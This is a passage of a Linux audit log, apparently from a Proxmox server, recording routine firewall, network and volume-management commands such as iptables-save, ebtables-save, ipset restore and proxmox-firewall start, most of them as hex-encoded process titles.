{"@timestamp":1781965815243,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.243:67229): proctitle=\"iptables-save\""} {"@timestamp":1781965749168,"@rawstring":"node=pve type=PATH msg=audit(1781965749.168:66943): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815236,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.236:67228): proctitle=\"ip6tables-save\""} {"@timestamp":1781965749168,"@rawstring":"node=pve type=PATH msg=audit(1781965749.168:66943): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815229,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.229:67227): proctitle=\"iptables-save\""} {"@timestamp":1781965749168,"@rawstring":"node=pve type=PATH msg=audit(1781965749.168:66942): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815223,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.223:67226): proctitle=\"ebtables-restore\""} {"@timestamp":1781965749168,"@rawstring":"node=pve type=PATH msg=audit(1781965749.168:66941): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815220,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.220:67225): proctitle=\"ebtables-restore\""} {"@timestamp":1781965749160,"@rawstring":"node=pve type=PATH msg=audit(1781965749.160:66940): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815214,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.214:67224): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965749160,"@rawstring":"node=pve type=PATH msg=audit(1781965749.160:66940): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815207,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.207:67223): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965749160,"@rawstring":"node=pve type=PATH msg=audit(1781965749.160:66939): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815199,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.199:67222): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965749160,"@rawstring":"node=pve type=PATH msg=audit(1781965749.160:66938): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815192,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.192:67221): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965746074,"@rawstring":"node=pve type=PATH msg=audit(1781965746.074:66937): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815187,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.187:67220): proctitle=697073657400726573746F7265"} {"@timestamp":1781965746074,"@rawstring":"node=pve type=PATH msg=audit(1781965746.074:66937): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815179,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.179:67219): proctitle=\"ip6tables-save\""} {"@timestamp":1781965746071,"@rawstring":"node=pve type=PATH msg=audit(1781965746.071:66936): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815171,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.171:67218): proctitle=\"iptables-save\""} {"@timestamp":1781965746071,"@rawstring":"node=pve type=PATH msg=audit(1781965746.071:66936): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815167,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.167:67217): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965746070,"@rawstring":"node=pve type=PATH msg=audit(1781965746.070:66935): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815163,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.163:67216): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965746070,"@rawstring":"node=pve type=PATH msg=audit(1781965746.070:66935): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815161,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.161:67215): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965746070,"@rawstring":"node=pve type=PATH msg=audit(1781965746.070:66934): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815161,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.161:67214): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965746065,"@rawstring":"node=pve type=PATH msg=audit(1781965746.065:66933): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815156,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.156:67213): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965746065,"@rawstring":"node=pve type=PATH msg=audit(1781965746.065:66933): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815148,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.148:67212): proctitle=\"ip6tables-save\""} {"@timestamp":1781965746065,"@rawstring":"node=pve type=PATH msg=audit(1781965746.065:66933): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815139,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.139:67211): proctitle=\"iptables-save\""} {"@timestamp":1781965746057,"@rawstring":"node=pve type=PATH msg=audit(1781965746.057:66932): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815133,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.133:67210): proctitle=69707365740073617665"} {"@timestamp":1781965746057,"@rawstring":"node=pve type=PATH msg=audit(1781965746.057:66932): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815124,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.124:67209): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965746050,"@rawstring":"node=pve type=PATH msg=audit(1781965746.050:66931): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965815113,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965815.113:67208): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965746050,"@rawstring":"node=pve type=PATH msg=audit(1781965746.050:66931): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965814614,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965814.614:67207): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965746043,"@rawstring":"node=pve type=PATH msg=audit(1781965746.043:66930): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965814580,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965814.580:67206): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965746043,"@rawstring":"node=pve type=PATH msg=audit(1781965746.043:66930): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965814411,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965814.411:67205): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965746035,"@rawstring":"node=pve type=PATH msg=audit(1781965746.035:66929): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965814411,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965814.411:67204): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965746035,"@rawstring":"node=pve type=PATH msg=audit(1781965746.035:66929): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965814410,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965814.410:67203): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965746029,"@rawstring":"node=pve type=PATH msg=audit(1781965746.029:66927): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965814399,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965814.399:67202): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965746029,"@rawstring":"node=pve type=PATH msg=audit(1781965746.029:66927): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965814399,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965814.399:67201): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965746022,"@rawstring":"node=pve type=PATH msg=audit(1781965746.022:66926): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965814399,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965814.399:67200): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965746022,"@rawstring":"node=pve type=PATH msg=audit(1781965746.022:66926): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965809393,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965809.393:67199): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965746015,"@rawstring":"node=pve type=PATH msg=audit(1781965746.015:66925): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965809393,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965809.393:67198): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965746015,"@rawstring":"node=pve type=PATH msg=audit(1781965746.015:66925): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965809393,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965809.393:67197): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965746007,"@rawstring":"node=pve type=PATH msg=audit(1781965746.007:66924): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965809385,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965809.385:67196): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965746007,"@rawstring":"node=pve type=PATH msg=audit(1781965746.007:66924): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965809385,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965809.385:67195): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965745999,"@rawstring":"node=pve type=PATH msg=audit(1781965745.999:66923): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965809385,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965809.385:67194): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965745999,"@rawstring":"node=pve type=PATH msg=audit(1781965745.999:66923): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965806102,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965806.102:67193): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965745993,"@rawstring":"node=pve type=PATH msg=audit(1781965745.993:66922): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965806098,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965806.098:67192): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965745993,"@rawstring":"node=pve type=PATH msg=audit(1781965745.993:66922): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965806097,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965806.097:67191): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965745985,"@rawstring":"node=pve type=PATH msg=audit(1781965745.985:66921): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965806097,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965806.097:67190): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965745985,"@rawstring":"node=pve type=PATH msg=audit(1781965745.985:66921): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965806093,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965806.093:67189): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965745977,"@rawstring":"node=pve type=PATH msg=audit(1781965745.977:66920): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965806084,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965806.084:67188): proctitle=\"ip6tables-save\""} {"@timestamp":1781965745977,"@rawstring":"node=pve type=PATH msg=audit(1781965745.977:66920): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965806075,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965806.075:67187): proctitle=\"iptables-save\""} {"@timestamp":1781965745972,"@rawstring":"node=pve type=PATH msg=audit(1781965745.972:66919): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965806068,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965806.068:67186): proctitle=\"ip6tables-save\""} {"@timestamp":1781965745972,"@rawstring":"node=pve type=PATH msg=audit(1781965745.972:66919): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965806060,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965806.060:67185): proctitle=\"iptables-save\""} {"@timestamp":1781965745969,"@rawstring":"node=pve type=PATH msg=audit(1781965745.969:66918): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965806056,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965806.056:67184): proctitle=\"ebtables-restore\""} {"@timestamp":1781965745969,"@rawstring":"node=pve type=PATH msg=audit(1781965745.969:66918): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965806053,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965806.053:67183): proctitle=\"ebtables-restore\""} {"@timestamp":1781965745968,"@rawstring":"node=pve type=PATH msg=audit(1781965745.968:66917): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965806047,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965806.047:67182): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965745968,"@rawstring":"node=pve type=PATH msg=audit(1781965745.968:66917): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965806040,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965806.040:67181): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965745968,"@rawstring":"node=pve type=PATH msg=audit(1781965745.968:66916): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965806033,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965806.033:67180): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965745964,"@rawstring":"node=pve type=PATH msg=audit(1781965745.964:66915): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965806026,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965806.026:67179): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965745964,"@rawstring":"node=pve type=PATH msg=audit(1781965745.964:66915): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965806020,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965806.020:67178): proctitle=697073657400726573746F7265"} {"@timestamp":1781965745964,"@rawstring":"node=pve type=PATH msg=audit(1781965745.964:66915): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965806012,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965806.012:67177): proctitle=\"ip6tables-save\""} {"@timestamp":1781965745954,"@rawstring":"node=pve type=PATH msg=audit(1781965745.954:66914): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965806004,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965806.004:67176): proctitle=\"iptables-save\""} {"@timestamp":1781965745954,"@rawstring":"node=pve type=PATH msg=audit(1781965745.954:66914): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965806000,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965806.000:67175): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965745946,"@rawstring":"node=pve type=PATH msg=audit(1781965745.946:66913): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965805997,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965805.997:67174): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965745946,"@rawstring":"node=pve type=PATH msg=audit(1781965745.946:66913): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965805996,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965805.996:67173): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965745939,"@rawstring":"node=pve type=PATH msg=audit(1781965745.939:66912): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965805996,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965805.996:67172): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965745939,"@rawstring":"node=pve type=PATH msg=audit(1781965745.939:66912): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965805990,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965805.990:67171): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965745930,"@rawstring":"node=pve type=PATH msg=audit(1781965745.930:66911): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965805983,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965805.983:67170): proctitle=\"ip6tables-save\""} {"@timestamp":1781965745930,"@rawstring":"node=pve type=PATH msg=audit(1781965745.930:66911): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965805976,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965805.976:67169): proctitle=\"iptables-save\""} {"@timestamp":1781965745920,"@rawstring":"node=pve type=PATH 